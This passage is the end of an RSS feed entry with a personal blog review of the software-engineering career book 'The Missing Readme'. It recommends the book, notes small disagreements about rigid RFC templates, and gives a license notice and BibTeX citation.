<p>That said, for non-SWE professionals like me, some sections might feel tedious as they focus heavily on SWE-specific topics. This isn’t a flaw; just a heads-up that parts of the book may feel less relevant if you’re not immersed in SWE. My advice? Keep reading—it’s worth it!</p>
<p>I occasionally disagreed with the authors, particularly when they suggested overly structured documents or processes. For example, a rigid RFC template with too many sections might discourage people from creating new documents due to the perceived overhead. While not a major issue, it’s worth noting that such approaches might not fit every scenario.</p>
</section>
<section id="bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="bottom-line">Bottom Line</h2>
<p>This book offers a structured overview of many things I’ve encountered throughout my career while introducing good practices I plan to adopt, like atomic commits (yes, I used to make massive, unwieldy commits) and better utilizing my preferred code editor. It also reinforced my commitment to note-taking—a habit I’ve embraced over the past year that has been a game-changer for me. (For the record, I use <a href="https://obsidian.md/">Obsidian</a>. 🙂)</p>
<p>Overall, this book is a fantastic guide for improving both technical skills and workplace behaviors, helping readers grow more effectively and consistently in their careers. While programmers will gain the most from it, professionals like Infosec Engineers can also benefit, provided they adopt an SRE (Site Reliability Engineering) mindset. <em>Think of SWE as the creators of software and SRE as the maintainers of the tools that get software into production—handling DevOps and CI/CD.</em></p>
<p>I considered sharing specific tips from the book, such as those on logging, testing, and cryptography. However, there are so many great insights that the best thing I can do is recommend the book wholeheartedly. It’s a smooth read and not too lengthy, making it both engaging and informative. <strong>The Missing Readme</strong> is a must-read for new engineers and a valuable refresher for seasoned professionals. Definitely worth your time! 🚀✌️</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2024,
  author = {Lopes, Joe},
  title = {Review: {The} {Missing} {Readme}},
  date = {2024-12-05},
  url = {https://lopes.id/log/review-missing-readme/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2024" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2024. <span>“Review: The Missing Readme.”</span> December 5.
<a href="https://lopes.id/log/review-missing-readme/">https://lopes.id/log/review-missing-readme/</a>.
</div></div></section></div> ]]></description>
  <category>career</category>
  <category>dev</category>
  <guid>https://lopes.id/log/review-missing-readme/</guid>
  <pubDate>Thu, 05 Dec 2024 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/review-missing-readme/og-review-missing-readme.webp" medium="image" type="image/webp"/>
</item>
</channel>
</rss>
